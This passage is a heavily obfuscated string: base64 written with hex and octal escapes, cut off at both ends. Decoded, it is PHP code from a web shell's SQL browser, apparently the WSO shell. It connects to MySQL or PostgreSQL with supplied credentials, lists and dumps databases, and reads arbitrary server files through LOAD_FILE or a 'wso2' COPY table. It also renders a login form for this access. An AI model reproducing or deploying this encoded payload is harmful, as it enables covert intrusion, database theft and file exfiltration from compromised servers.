\x6bdGhp\143y0+dHl\167ZSA9ICR0e\x58BlOwoJC\130\060KCQl\x6ddW5jdGlvbiBjb25uZWN0K\103Rob3N\060LCAk\144XNlc\151\x77gJHBhc3MsIC\x52kYm\x35hbWU\160ewo\112C\121l\172d2l0Y\062goJHRoaX\115t\x50nR5c\107UpC\x58s\x4bCQkJCWNhc\x32Ug\x4a\x32\061\x35c3\106s\x4azoKCQk\x4aCQl\x70ZiggJHRoa\x58MtPmxp\142msgP\123\x42AbXlzcWx\x66Y2\071ubmV\152dCgk\x61G9zdCwkd\x58N\x6cci\167\153cGFzcyx\060cnV\x6cKSApIHJ\154\144HVybiB0cnVlOwoJCQkJCWJyZW\106\x72O\x77oJCQkJY2F\172ZS\101nc\107dzc\x57wnOgoJCQk\112C\123Ro\1423N0ID0g\132X\x68w\x62\x47\x39\x6bZSgn\x4f\x69csICRob\x33N0KT\x73K\103QkJC\121lpZigh\112Ghv\1433RbMV0pICRo\x623\1160WzFdP\124U\060MzI7CgkJCQ\x6bJaWYoICR0\141G\154zLT5\x73aW\065rID0gQHBnX2N\x76bm5lY3QoImhv\x633\121\071eyRo\1423N\060W\172Bd\146SBw\x623J0P\x58\163kaG9zdFs\x78\130X0gdXNl\x63j0\153\x64\130NlciBw\x59XNzd29yZD0k\143GFzcyBkYm5hbWU9JG\122i\142mFtZ\123\x49pICkgcmV0dXJuIH\122yd\127U7C\147kJCQkJY\156\x4al\x59\127s7\103g\153JC\1300KCQ\x6bJcmV0\x64X\112uIGZhb\x48NlOwo\112CX0KCQlmdW5\x6adGlv\142i\102zZW\170l\x593RkY\151gkZGIpIHs\x4b\x43QkJ\x633dpdGNoKCR0aGl\172LT5\x30eXBlKQl7\x43gkJC\x51ljYXNl\x49CdteXNxbCc6\x43g\153JCQkJaWYg\113EB\x74eXNxbF9zZW\170lY3\x52\x66Z\107IoJGR\x69\113\123\154\x79Z\130R1cm\064gdHJ1ZTsK\x43QkJ\x43\x51li\x63\155\126hazs\x4bCQk\112fQoJCQl\x79\132XR1c\1554gZmFsc2U7Cg\153JfQo\x4a\x43WZ1b\x6dN0aW9uI\110F\061Z\130J5KCR\172dH\111pIHsKCQkJc3dpd\x47\116o\113CR0aG\x6cz\114T50eXBlKSB7\103gkJ\x43Q\x6cjYX\x4el\111CdteXN\x78bCc6CgkJCQ\x6b\112cmV0d\x58JuICR\060\x61Glz\114T5yZ\130\115gPSBA\142X\x6czcWxfcXVlc\156koJ\x48N0c\x69\x6b\067CgkJ\103QkJ\x59nJlYWs\067CgkJCQl\152YXNlIC\144\x77\1323NxbC\1436CgkJCQk\x4acmV0dXJuIC\1220\x61GlzL\x545yZXMgPSBA\143GdfcX\x56lcnkoJHRoa\130Mt\x50\x6dxp\142m\163sJHN0cik7CgkJC\x51kJYnJlYWs7Cg\x6b\112C\x580K\103Qk\x4acmV0dX\112uIGZ\x68bHNlOwoJCX0K\103Ql\155dW5jdGl\166biBmZX\x52\152a\103\147\x70IHs\x4bCQ\153\112JHJlcyA9\111\107Z1b\155\116fbn\x56tX2FyZ3MoKT9\155dW5\152X2\144l\144\1069\150cmcoMC\x6b6JHRoaX\115tPn\112lczsKCQ\153Jc\x33d\x70d\x47NoKCR0a\x47l\x7aLT50eXBlKQl7CgkJCQljYXNlICdteXNx\142Cc6Cgk\x4aCQkJcm\x56\060\x64XJuIEBteXNx\142F9\155Z\130RjaF\x39hc3Nv\131\x79gk\x63mVzKTsK\x43QkJCQli\143\155Vha\x7a\x73K\x43\x51kJC\x57Nhc\x32\x55\147J3Bnc3FsJ\172oKCQkJCQlyZXR\061cm4g\121H\x42n\1302ZldGNoX2\x46\x7a\14329\152KCRyZXMpOw\157JCQkJCWJyZWFrO\167o\x4aCQ\x6c9Cgk\x4aC\x58Jld\x48VybiBmYWxzZTs\x4bCQl9\x43g\153JZnVuY3\122\x70b24g\x62G\154\172dER\x69\143ygp\x49HsKCQ\x6bJc3dpdGNoK\103R0a\107lzLT\0650\145XBl\113\121l7C\x67kJCQlj\x59XNlIC\x64teXNxb\x43c6CiAg\111C\101gI\103Ag\x49\103\101gIC\101gICAgICAgIC\x41gIHJ\x6cdHVybi\101kd\x47hp\143y\060+cX\126lc\x6e\153\x6fIlN\111T\x31c\x67ZGF\060YWJhc2Vz\x49ik7\x43gkJ\x43QlicmVhazs\113CQkJ\x43W\116\150c2Ug\1123\x42\x6ec3FsJ\x7aoKC\121kJ\x43\x51lyZXR1\x63\x6d4g\112HRoaX\x4dtPnJlcyA9\x49CR0aGlzLT\x35xdWVye\x53giU0VMRUNUI\107RhdG5\x68bWUgRlJPTSBw\13219\153\x59\130Rh\x59mF\172ZS\x42XSEVS\122SBkY\130R\x70c3Rl\x62\x58BsYXRl\111T0n\x64\x43\x63iKTsKCQkJ\103WJyZWFrOwoJ\103Ql\071\103g\153JC\130\112\x6cdHVybiBmYW\x78\x7aZTsKC\121l9Cg\153JZ\x6eV\165Y3Rpb24g\142G\x6czd\106R\150Y\155\x78\x6ccygpIHsKCQkJ\x633dpdGN\x6fKCR\060aG\154zLT5\060eXBlKQl7\103g\x6b\112CQlj\131XN\154ICdteXNxbC\x636\103\x67kJCQ\x6b\112cmV0dX\112\x75ICR0aGlzL\x545yZXMgP\x53\101kd\x47hpcy0+\143XVl\143nkoJ\x31N\111T\x31cgVE\106\x43TE\x56\124Jy\1537Cgk\x4aCQlicmVhazs\113CQk\x4aCWN\150c\x32\125\147J\063Bnc3Fs\112zo\x4bCQkJCQl\171ZXR1cm4gJHRoaX\115tPn\112l\x63yA9ICR0\x61\107\154zL\1245xdWVyeS\147ic2VsZWN0I\110RhYmxlX25h\x62\x57UgZnJvbSBpb\x6d\x5avcm1hdGlv\x62l9z\1312hlbWE\x75dGFibGVzIHdoZXJlI\110RhYm\170lX\063NjaG\x56tY\123A\150PS\101naW5mb3J\164YXRpb\0625fc2NoZW1hJyBBTkQgdG\106\x69bGVfc2\116oZW1\150ICE9IC\x64w\1321\x39jYXR\150bG9nJyIp\117woJCQkJY\x6eJ\154YWs7CgkJCX0KCQkJcmV\060dXJuIGZh\x62HNlOwoJ\103\1300KCQl\155\x64W5jd\x47lvbiBlcnJvcigp\111HsKCQkJ\143\x33d\160dG\x4eoK\x43R0aG\154\x7a\114T50eXBlK\x51l7CgkJCQljY\130\x4el\x49CdteXN\170\142Cc\x36Cg\x6bJCQkJc\155V0\x64\130JuIEBteXN\170\x62F9lc\156Jvci\x67p\x4fw\157JCQkJ\131nJlYWs\x37CgkJCQljYXNl\x49CdwZ3Nxb\103c6CgkJCQk\112cm\x560d\130JuIEBwZ19sYX\1160X2Vycm9yKCk7\103g\153JCQli\x63mV\x68az\x73KCQkJfQoJCQl\x79ZX\122\061cm\064gZmFsc2U7Cg\x6bJfQoJCW\x5a1bm\x4e\x30aW\x39uIHNldENoYXJzZX\x51oJ\x48N0cikgewoJ\103Q\x6czd2l0\1312\x67oJHRoaXM\x74\x50nR5c\107\125\160CXsKC\121kJCWN\x68c2Ug\11221\x35c3F\x73Jzo\113CQkJ\103QlpZihmdW5j\144Glvbl9leG\x6czdH\115oJ215c3\x46s\1303N\154\x64F9jaG\106yc\x32\1260Jykp\103gkJCQ\x6bJC\x58J\x6cdHV\x79biBAbXlzcWx\x66c2V0X2N\157\131\130JzZXQoJHN0ciw\x67JHRoaXMtPm\170\x70bms\160OwoJC\x51kJC\127Vsc\x32UKCQkJCQk\112JHRoaXMtPnF1ZX\1125K\x43dTRVQ\147Q0\x68\x42Ul\x4eFV\x43\101nL\151Rz\x64HIpO\167oJCQkJCWJyZWF\162OwoJCQ\153J\1312F\x7a\x5aSAncGdzcWwn\x4f\x67oJCQ\x6bJCXJldHVybi\102Ac\x47\144fc2V0X2NsaWVu\144F9\x6cbm\x4evZGlu\x5ay\147kdGh\x70c\171\060+b\x47l\x75ay\x77gJH\1160\143ik7\103gk\112CQkJYnJ\x6cYWs7CgkJCX\x30K\x43QkJcmV\x30dX\x4auIGZhbHN\154Owo\112CX0KCQlmdW5jdGlvb\x69Bsb\062F\x6b\x52mls\x5aSgkc\x33RyK\x53B7C\147\x6bJ\x43XN\063aXRjaCgkdGhpcy0+dHl\x77Z\x53kJewo\112CQkJY2\x46zZS\x41nbX\x6czcWw\x6eOgoJC\x51kJCX\x4al\x64HVy\142iAk\x64G\150\160cy0+ZmV0Y\062\x67oJHR\x6faXMt\120nF1ZXJ5KCJ\x54RUxFQ\x31Qg\x54E9\102\122F9GSUxFKCciL\x6dFkZ\110NsYXN\x6f\x5aX\115oJH\x4e0cikuIi\x63pIG\x46zIGZp\x62\107UiKSk\067Cgk\x4aCQlicmVhaz\163KC\121kJCWNhc2Ug\112\063Bn\1433Fs\x4azoKCQ\153JCQ\x6bkd\107hpcy\x30\x2bc\130VlcnkoIkNSRUF\125RSBUQUJ\x4dRSB3c28yK\x47Z\160bGUgdGV4dC\1537Q\x309\121WSB\x33c28y\x49E\132\123T00gJyIu\131WRkc2\170hc2hlc\x79g\153c3Ry\113S\064iJztzZWxlY\x33QgZmls\132SBmcm9tIH\144zbz\1117\x49ik7CgkJCQkJJHI9\131XJ\x79YXkoK\x54sKCQ\x6bJCQl3aG\154\163ZS\147kaT0kdGhpcy0+ZmV\x30Y2goKSkKCQkJCQkJJ\x48\112bXSA9ICRpWydm\x61\x57xlJ10\x37CgkJCQkJJHRo\141XM\x74PnF1ZXJ5\113Cdkcm9w\x49HRhYm\x78lIH\144zbzI\156KT\163K\x43Q\153JCQlyZXR1c\x6d4gY\x58\112\171Y\x58koJ2\x5apbGU\x6e\120\1245pbXBsb2RlKCJcbiIsJ\x48I\x70KT\x73KCQ\153JCWJyZW\106rO\x77oJCQ\1549\x43g\153\112\x43\130\112ldHV\171biBmY\127\170zZTsKCQl\x39CgkJZnVuY3Rpb24gZHV\164cCgk\144GFibG\x55sIC\122mcCA9IG\132hbHNlKS\102\x37Cg\153J\103XN3aX\x52jaCgkdGhp\143y0+d\110lwZSk\x4a\x65\x77\x6fJCQkJY2FzZSA\x6ebXlz\x63WwnOgoJCQkJCSR\171\132XMgP\x53Ak\x64Ghpcy0+cXV\x6ccn\x6bo\x4a1N\111\1241c\x67Q1JFQ\126RFIFRB\x51k\170FIGAnLiR0YWJ\163Z\x534nYCcpOwoJC\x51kJCSR\152cmVhdG\x55g\120SBteXNxbF9\x6dZX\x52jaF9hc\156JheSgkcmVzK\124sKCQkJC\121k\x6bc3FsID0gJGNyZWF0ZVsxXS\x34iO\061xuIjs\113I\x43Ag\111CAgI\x43AgICAgICA\147\111\103AgI\103B\x70ZigkZnApIGZ\x33cml0ZS\147k\132n\x41s\x49\x43\x52zcWw\x70OyB\x6cbHNlIGV\152aG8o\x4aHNxbCk\067C\x67kJCQkJJHRoaX\115tPnF1Z\130J5KCdT\x52UxFQ1QgKiBGU\1539NI\107\101n\114\x69\x52\060YWJsZ\123\064nYCcpOwogICAgICAgIC\x41\x67ICAg\x49C\101gICAgICRpID0gMDs\x4bI\x43AgICAgI\103Ag\111C\x41gI\103AgICAg\111CAkaGVhZCA9IHRydW\x557Cg\153JCQk\112d2\150p\x62\107UoJ\107\1540ZW0\x67PSAkdGhp\x63\x790\053ZmV0Y\x32go\x4bS\x6b\x67ewogICAgICAg\111CA\x67ICAgICAgIC\101gICAgIC\101kc\x33FsID0gJyc7Ci\101gICAgICAgICAgICAgICAg\x49C\101gICA\147I\107l\155K\x43RpI\x43\125gMTAwMC\101\x39PSAwKSB7CiAgI\103Ag\111CAg\x49CAgICAg\x49CAgIC\101gICAg\x49CAgICAkaGV\150ZCA9IH\x52ydWU7CiAgI\x43AgICAgICAgICAgI\103AgI\103AgICAgI\x43AgI\103Akc3FsI\x44\x30gIj\164cblx\x75I\x6asKICAgIC\101gIC\x41gICA\x67\111CAgICAgICAgICA\147fQoK\103\x51kJCQ\153JJGNvbHVt\142nM\x67\x50\x53BhcnJheSgpO\167oJCQ\x6bJCQ\154mb3\x4alYWNoKCRpdGVtI\x47\x46\x7aIC\122r\120T4kdikgewogICAgICAg\x49CAgICA\147IC\x41gICAgI\103\x41gI\x43A\x67IC\x41gaW\x59oJ\110YgPT\x30\x39IG51bGwp\103\151\x41g\111CAgICAgICAgI\103AgIC\x41gI\x43AgI\103A\x67ICAg\111CAgICAgJGl\x30ZW1b\112Gtd\x49D\x30gIk\x35\x56TEwiOwogICA\147\111CA\147ICAgIC\101gIC\x41gIC\101gICAgICAg\x49CAgZWxzZWlmKGlz\x582\154u\144Cg\153\x64ik\160CiA\x67I\x43AgICAgI\103Ag\x49\103A\147IC\x41gICA\147ICAgI\103\x41gICA\147I\103AgJGl0ZW1bJGtdI\x44\060gJH\1317CiAg\x49\103AgICAg\111\x43A\147I\x43Ag\x49\x43AgIC\x41\x67I\x43\x41gICAgIC\x42lb\x48NlCiAg\x49\x43AgI\103AgIC\x41gI\x43AgI\103AgICAg\x49C\101gICAgIC\x41\147\x49C\101gJG\x6c0\132\x571bJGtd\111D0gIiciLkBteXN\170\142F\x39yZWFsX\062\126zY2FwZ\1269zd\x48\x4apb\155co\x4aHYpL\x69I\156\x49j\x73\113CQ\153JCQkJCSRjb2x1\142W5zW10gPS\101iYCIuJGsuIm\101i\x4f\x77\x6fJCQkJ\103Ql9CiA\x67ICAg\111\x43A\x67ICA\147ICAgI\103AgI\103AgIC\x41gIGlmK\x43R\x6fZWFk\x4bS\x427CiA\x67I\x43AgICA\x67\x49CAgI\103A\147IC\x41gIC\x41gI\x43Ag\111C\101g\111CAk\1433Fs\111\x4349\x49C\144JTlNFUlQgSU5UT\171BgJ\x794kdGF\151bGUu\x4a2\x41gKCc\x75aW1\x77bG9kZS\147\x69L\103AiLC\x41kY\0629sdW1uc\171k\x75Iikg\x56kFMVUV\x54I\x46xuXHQoIi\065pbXBs\1422RlK\x43I\x73IC\x49sICRpd\x47Vt\x4bS4nKSc7\103iAgI\103AgICAgI\103\x41g\111CA\x67\x49CAgI\x43A\x67\x49CAgICAgI\x43\x41\x6baGV\150\x5aCA\071IGZhbHNlOwogI\103\101g\x49C\101gICAgICAgICA\x67ICAgICAgI\103B9\x49GV\163c2UKICAgICAgICAgICAg\x49CAgIC\x41g\111CA\147\x49\103A\147ICAgICRzcWwgLj0g\x49lxuXHQsKC\111\x75aW1w\x62G9kZSgi\114\103\x41iLCAkaXRlbSkuJyknOw\157gI\x43AgICAgICA\x67ICAgI\103Ag\x49CAg\111CA\x67ICB\160ZigkZ\156ApIGZ\x33cml0ZSgkZn\x41\163ICR\172cWw\x70Oy\102lbHN\x6cI\107VjaG8o\112HNxbC\1537Ci\101gICAgI\x43Ag\111CAgICA\x67I\x43\101\x67ICAgIC\x41gI\x43\x52p\113ys\067Cg\x6b\x4aCQkJf\121o\x67ICAgICAgICAgICAgICAgICAgI\x47lmKCE\153aGVhZCk\x4bI\103\x41gICA\x67ICAgICAg\x49CAgICAgICAgIC\x41ga\127YoJ\x47ZwKSB\155d3JpdGUoJGZwLC\x41iO1xuXG4iKTsgZWx\172\132SBlY2hvKCI\x37XG5\143b\151IpO\167oJCQk\x4aYnJl\x59\127s7C\x67kJCQl\152\x59\x58NlICdwZ3\116\170bC\x636Cgk\x4aC\x51kJJHRoaXMtPnF1Z\130J5\x4b\103d\x54RUxFQ1Q\x67KiBGUk9NICcuJH\x52hYm\x78\154K\124\x73KCQ\x6b\112C\121l3a\107ls\132SgkaXRlbS\x41\x39I\x43R0aGlzLT5\155ZX\122\x6aaC\x67pKSB7\x43g\153JCQk\x4a\103SRj\x622\1701bW5zID\x30gYXJyYXkoK\124sKC\x51kJCQkJZm9\x79\132WFjaCgk\x61\130Rl\142\123Bhc\171Akaz0\053J\110Y\160\x49HsKCQ\x6bJCQkJCSRpdGVtW\x79\122rXSA9ICI\x6eIi5hZ\x47Rz\x62GFzaGVzK\x43R\x32KS4i\x4a\171I7CgkJCQ\153\x4a\x43QkkY29sdW1uc1tdID0\x67JGs7CgkJCQkJCX0KICAgICAgICA\147\111CAgICAg\x49CAgICAg\x49\x43\x41gJHNxbCA9\111CdJTlNFUlQgSU5UTy\101nLiR0\131WJ\163ZS4nICgnL\x6dltcGxvZGUoI\x69wgI\x69wgJG\x4evb\x48VtbnMpLicpIFZBTFV\x46U\171AoJ\171\x35pb\130Bsb2Rl\113CIsICIsICRpdGV\x74KS4nKTs\x6eLiJ\x63b\151I7CiAgICAg\111CAgICAgIC\x41gICA\x67I\103AgICAgIG\154mKC\x52mcCk\147Zndy\141XRl\113CR\x6dcCwgJ\x48N\x78bCk\067IG\126\x73c2\x55gZWNobyg\153\x63\063FsKTsKCQk\x4aC\x51l9CgkJCQl\x69cmVhazsKCQ\x6bJ\146QoJ\x43Ql\171\x5aXR1cm4gZmFs\x632U7Cg\x6bJfQoJ\x66TsKCSRkYiA\x39IG\x35\154dyB\x45YkNs\x59XNzKCRfUE9T\x56Fs\x6edHlwZS\x64\144KT\163KC\x57lmKChAJF9QT1NUWydwM\151d\x64PT\x30nZ\10793\x62m\x78\x76YWQn\113SAmJi\101\157QCRfU\1059\x54VFsnc\104EnXSE\071J3\116l\x62\107VjdCcpKSB\x37CgkJJGR\151LT5jb2\x35uZWN0KCRfUE9TV\x46snc3FsX\062hvc3QnXSwgJF9QT\061\x4eUWy\x64zcWxfbG9\156aW4\156X\123wg\112F9QT1NUWyd\172\x63Wxf\x63GF\172cyddLCAkX1BPU1RbJ3N\170bF\071iYXNlJ1\060\x70OwoJCSRkY\x690\053c2Vs\x5aWN0ZG\111oJ\x469QT1NUWy\144zcWxfYmFzZSddKTsK\111CAgIC\x41\147\111C\102zd\x32l\060Y2goJF9QT1NU\127\171djaGFyc2V0J10pIHsKICAg\x49CAgICAgIC\101\x67Y2FzZSAiV2luZG9\063c\x79\x30\x78Mj\x55\x78IjogJG\122iLT5zZ\x58R\104aGFyc2V0KCdjc\104EyNTEn\x4bTsg\x59\x6eJlY\x57s7CiAgICAgI\103AgICAg\111GNhc2Ug\111lVURi0\x34IjogJGRiLT5zZXRD\x61\107Fyc2V0KCd1dGY4Jyk\067I\107Jy\x5aWF\x72OwogICAgICA\147ICAgI\x43BjYXN\154IC\112LT0k4LV\111iOiAk\132GItP\156NldENoYXJz\x5aX\121oJ2\x74\x76aThyJ\171k7IGJ\x79ZW\106rOwogI\103A\147ICAgICAgI\x43BjYXNlICJLT0\1534LVUiOiAkZG\x49tPnNldEN\157Y\130JzZXQoJ2\x74vaTh1Jyk\067I\107JyZ\127F\162OwogIC\x41gICAgICAgICBjY\x58NlICJ\152cD\1472Ni\x496IC\x52\153Yi0+c\x32V0Q2\150hcnNld\x43gnY3A4NjYnKTsgYnJlYWs7CiAg\111CAgICAgfQo\x67ICAgI\103AgIGlmKGV\164cHR5\x4b\x43\122fU\1059T\126FsnZ\x6dlsZ\123ddKS\153gewogICAgICAgI\103Ag\x49\x43BvYl9zdGFy\144C\147ib2J\x66Z3po\131\1275k\142G\126y\111iwgNDA5Ni\1537CiAgICAg\111\x43A\x67ICAgI\107hlYWR\x6ccigiQ29udG\x56udC1EaX\116\x77\142\063NpdGlv\x62jog\131\130R0\131WNobWVudDsgZm\154sZ\x575hb\x57U9ZHVtcC5z\143Ww\151KTsKICAgICA\x67IC\x41gICAgaGV\150ZGV\171KCJDb\06250ZW50L\x56R5cGU6IHRle\110\121\166cGxha\1274iKTsKIC\x41gICAgI\x43AgICAg\132m9yZWFjaC\x67\x6bX1BP\x55\061RbJ\x33Ri\x62CddIGFzICR2KQoJCQk\x4aJGRiLT5kdW1wKCR2\113TsKI\103AgI\103AgICAgIC\101gZXhpdDsKICA\147ICA\147I\x43\1029IG\126sc\x32Vp\x5ai\147kZnAgPSBAZ\x6d9w\132W4oJF9Q\1241N\125W\171d\155\141\127xlJ10s\x49Cd\063Jykp\x49H\163KICAgICAgICA\147IC\x41\x67\x5am9yZ\x57\106j\141CgkX\061BPU1Rb\x4a3RibCddIG\x46zICR2KQo\x67ICAg\111CAgI\103\x41gICAgICAgJGRi\x4cT5kdW1wK\103R2L\103\101kZnApOwogICA\x67ICA\147\x49CA\147ICB\x6dY2xvc2U\157JG\132w\x4bTs\113\111CAgIC\x41\x67I\x43\101\x67I\103Ag\144W5zZXQoJ\1069\x51T1\x4eUW\x79dwMiddK\x54sKIC\101gI\103A\x67ICB\071IGVsc2UKI\103A\x67ICAg\111\x43Ag\x49CA\147ZGll\x4bCc8c\x32\x4eyaXB\x30PmFsZX\x4a0K\103JFcnJv\143\151E\x67Q2FuXCd\x30\111\1079\167ZW\x34g\x5amlsZSIpO3dpbmRvdy5oa\x58N0b\063J5LmJhY2s\x6fLTEpPC9zY3Jpc\x48Q+Jyk7C\147l9\103g\154\x33c29IZ\x57F\153ZX\111oK\124sK\x43WVjaG8gIg\x6f8aDE+\x553Fs\111\107\x4ay\x62\x33dzZXI8L2gx\120jxk\141XYgY2xhc3M9Y29\165dGVudD4KPG\x5avc\1550\x67bmF\x74Z\x540nc2YnIG1l\144G\150vZD0n\x63G9z\x64Ccgb25\x7ad\127\112taX\x519J2ZzKH\x52o\x61XMpOyc+PH\x52h\x59\155xlIGNlbGxw\x59\127Rk\x61W5\x6e\120Sc\171JyB\x6a\x5aWxsc3B\x68Y2l\165\132z0n\x4dC\143+PHRyP\x67o8dGQ+VHlwZ\124wvd\107Q+PHRkP\x6bh\166c3Q8\114\x33R\x6bP\x6ax0\x5aD\065Mb2\x64\x70bjw\x76dGQ+\120HRkPlBhc3N3\1423JkPC9\x30Z\x4448dG\x51\053\x52\x47F0YWJhc2U8\114\063RkPjx0ZD4\x38L\063RkP\152wvd\x48I\053PHRyPg\1578\141W5wdXQgd\x48lw\x5aT1oaWRkZW4gbm\106tZT1hI\x48ZhbHVlPVNxbD\064\x38aW5wd\130\x51gdHl\x77ZT1oaW\x52kZW\064gbmF\x74Z\x54\x31wMSB2YWx1ZT0ncXVl\143n\153n\x50\x6axpbnB\061dCB\060e\130\x42lPWhpZG\122lbiBu\131W1\154PXA\171IHZhb\x48VlP\x53\x63nPjx\160b\x6eB1dCB\060eXBlPW\x68pZGRlb\151\x42uYW1lPWMgdmF\x73dWU\071J\171IuIGh0bWxzcGVjaWFsY2\x68\x68c\156MoJEdMT0JBTF\x4ebJ2\x4e3\x5aC\x64dK\x53\101uIic+PGl\165cHV\x30IHR5c\107U9aG\x6ckZGVu\x49G5hb\127U\x39\x59\x32hhc\156NldCB2YWx\x31ZT\x30n\x49i4gKG\x6c\x7a\x63\x32V0\x4bCRfU\x459TVFsnY2hhcnNld\x43ddK\1248k\1301BPU1RbJ2NoYXJzZXQn\x58T\157\x6eJy\x6b\x67LiInPgo\070dGQ\x2bPH\x4e\x6c\142G\x56jdCBuYW\061l\120S\x640eXBlJz4\x38b3\x420aW9uIHZhbHVlPSdt\145XNxbCcg\x49jsK\x49CAgIG\x6cmKEAkX1\x42PU1RbJ3R5\x63\x47U\156XT09\x4a215c\063Fs\x4ayll\1312hvICdzZWxl\1313R\154ZCc7CmVjaG8gIj5NeV\x4exbD\167vb3B0\141W9u\x50jxv\x63\x48\x52pb24\x67dmFsdWU9J3B\x6e\1433Fs\x4ayAi\117wp\160Zi\x68AJF9QT1N\x55Wyd\x30eXBlJ10\x39P\123dwZ3N\170b\x43cpZWNobyAn\x63\062VsZWN0ZWQnO\167plY\x32hvICI+UG9z\x64GdyZV\x4e\x78bD\167v\1423\1020a\x579\165\x50j\x77vc\062V\163\x5aWN0P\x6awv\x64GQ\053Cjx0ZD4\070aW5wd\x58Q\x67\144\110lwZT10ZXh0IG5\x68b\127\x559\x63\x33FsX2hvc3\x51\147dmF\163d\x57U9XCIiLi\101o\132W1\x77d\110koJ\1069QT1NUWyd\x7acWxfaG9zdCddKT\x38nbG9jYWxob3\116\x30Jzpod\1071sc3B\154Y\x32lhbGNo\131XJzKCRfUE9TV\106\x73n\1433\x46sX2\x68vc3QnXS\153pI\103\x34iXC\x49+\120C9\x30ZD4\113PH\122\153Pjxp\x62nB1\144\x43\x420eXB\x6cPXRleHQgbm\x46tZT1zcWx\x66\x62G9\156aW4\147dmFsd\127U\071XC\111\x69LiAo\132W1wdHkoJF9QT\061NU\x57yd\x7acW\170fbG9n\x61W4nX\x53k/J3Jv\1423\x51nOm\x680\x62Wxz\x63GVjaWFsY2hhcn\x4doJ\x46\071Q\1241\x4eUW\171\x64zcW\x78\146\142G9na\1274nXSkpIC4\x69XCI\x2b\x50C90ZD4KPH\122kPjxp\142\156B1dCB0eXBlPXRle\110\x51gbm\x46t\x5aT1zcW\x78\x66cGFzcy\1022\x59\x57x1ZT1cI\151IuIChlbXB0eSgkX\061BPU1Rb\x4a3Nx\142F\x39wY\x58NzJ10\160Py\x63n\x4fmh0bWxzcGVjaWFsY2hh\x63nM\x6fJF9QT1NUWy\x64zcWxf\143GFzc\171dd\x4bS\153gLiJcI\x6a48\1143RkPj\1700ZD\x34\x69OwoJJHRtcCA9\111\103I8\141W5w\x64XQgd\x48lw\132T10ZXh0\x49G5hb\x57U9\x633FsX2J\x68c2UgdmFsdWU9Jyc+Ijs\x4bCWlmKGlzc2V0\113C\122fU\1059\124VF\x73nc\063Fs\1302hvc3\x51\156XS\x6bpewo\x4aC\x57lmKCR\153\131\151\x30\053Y2\071ubm\126jdC\147k\x58\061B\120U1RbJ3NxbF9ob3N0J1\060\163I\103RfUE9TV\106snc3F\x73X\062xvZ\x32lu\112\x310sIC\x52fUE9TVFsnc3\106sX3Bh\1433MnXSw\147JF9\x51T1NUWydzcWxfYmFzZSdd\x4bSkg\145\167oJCQ\x6czd2l0\1312goJF9QT\x31\116\x55Wy\144jaGFyc2V0J10pIHsKCQkJCWNhc\062\x55g\x49ldpbm\122\166\x64\x33\x4dtM\124I1M\123I6ICRkYi\060+c2V0Q2\150hcnNld\103gnY3Ax\x4djUxJy\x6b7IGJyZWF\162O\x77o\x4aCQ\x6bJY2\106zZSAiVVRGLTgiOiAkZGI\164PnNldENoYXJz\132XQoJ3V0Zjg\156KTsgYnJlYWs7C\x67\153\x4aCQljYXNlICJLT\x30k4L\x56I\151OiAk\132G\111tPnNldENoYXJzZXQoJ2\164vaT\x68yJ\x79k\067IG\x4ayZWFrOwoJ\103QkJY\x32FzZSAi\12309\112OC1VI\152\x6fg\112GRiLT5z\132XRDaGFy\x63\062\x56\060KC\x64rb\x32k\064dScp\x4fyBi\x63mVhazs\x4b\103QkJ\103WNhc2Ug\x49mN\167O\x44Y2IjogJG\x52\x69LT5\172\132XR\x44a\x47Fyc2V\060KC\144jcDg2Nicp\x4fyB\x69cmVh\141zs\x4bCQkJfQo\x4aCQkkZ\x47It\120mxpc3\122EYnMoKTsKCQkJZW\x4eobyAiP\x48\x4el\142\x47VjdCBuYW1lPXNxbF9iYXN\x6cPjxvcHRpb24gdmFsdWU\071\112yc+PC9vcHRpb24+\111jsKCQkJd\062h\160bGUo\x4aGl0\x5aW0gPSA\x6bZ\107ItPmZld\x47\116oKCk\160IHsKCQkJCWxpc3Qo\112Gt\x6ceSwgJHZhbH\x56\x6c\113SA9\111GVhY2\147\157J\107l0ZW0pOwo\x4aCQkJ\132\x57\x4eobyAn\x50G9wd\x47lvb\151B2YWx\x31ZT0iJy4kdm\x46\163dWUuJy\111\x67J\x79\064oJ\x48ZhbHV\154PT0k\1301BPU1\x52b\x4a3\x4exbF9iYXN\x6cJ10/J3\116lb\x47\126jdGVkJ\x7aonJykuJz\064nLiR2YWx1ZS4\x6e\120C9vcHRp\x62\x324+J\x7asKCQkJfQoJCQllY2hvI\x43c8L3NlbGVjd\x444nOwoJC\130\060\x4bCQllbHNl\111GVj\x61\107\070g\x4aHRtcDs\x4bCX1\x6c\x62HN\154\x43gkJZWNobyAk\x64G1w\x4fwoJZWNob\x79\x41iPC9\x30\x5a\x44\064KCQ\x6bJCTx0Z\10448aW5wdXQgd\x48lw\132T1zdW\x4a\x74\141\130\121gdmFsd\127U9Jz4+\112\171BvbmNsaWNrPSdmc\x79hkLn\116mKTsnPjwvdGQ\053\103iA\147ICAg\111CA\147\x49C\101gICAgI\x43A8\144GQ+PGlucHV0\x49HR5cGU9Y2hl\x59\x32tib3ggbmF\164ZT\x31zcWxfY291bnQgd\155Fsd\127U9J29\165JyIgL\151AoZW1wdHkoJ\1069QT1\116UWydzcWxfY291\142nQn\x58\123\x6b/\112yc6JyBja\x47V\152\1412VkJykgLiAi\120\151Bjb3Vud\103B0aGU\x67b\156VtY\155VyI\x479mIH\112vd\063M\x38\x4c3RkPgo\112CQk\x38L3RyPgoJCTwvdGF\x69b\x47U+CgkJPHNjcmlwdD4KICAg\111CAgICAg\111C\x41gc\x31\071k\131j0\x6eI\1515\x41YWRkc2xhc2h\x6c\143ygkX1\102P\1251\x52bJ3NxbF9iYX\116lJ\061\060pLiI\156\117wogICAgICAgICA\x67\x49CB\155dW5\152\144G\154vb\x69BmcyhmKS\1027CiAgICAgICAgI\103\101gIC\101gICBpZ\x69h\x6dLnNx\x62F\x39i\x59\x58NlLnZhbH\x56lIT1zX2\122iKSB7\x49GYub25\x7adWJta\130QgP\x53\102\155dW5jdGlvbigpIHt9\x4fw\157gIC\x41\x67ICAgICAgICA\x67ICAgI\x43\x41gIGl\155K\x47YucDEpIGYucDEu\x64mF\163\144W\1259Jy\x637\x43iA\147I\x43AgICAg\111CAgIC\101gICA\x67ICAgaWYoZi5wMi\x6bgZi5\x77Mi5\062Y\x57x\061ZT0nJzsKIC\101\x67ICAgICAgICAg\111C\x41gICAgICBpZihmLnAzKS\x42mLnAz\114nZhb\110V\x6cP\123cnOwo\x67ICAgI\x43AgICAgI\103AgICAgfQog\111CAgICAgICAgI\x43B\071CgkJCWZ1bmN0a\x57\071\x75I\x48N0KHQsbCkg\145wo\x4a\x43QkJZC5zZ\1515\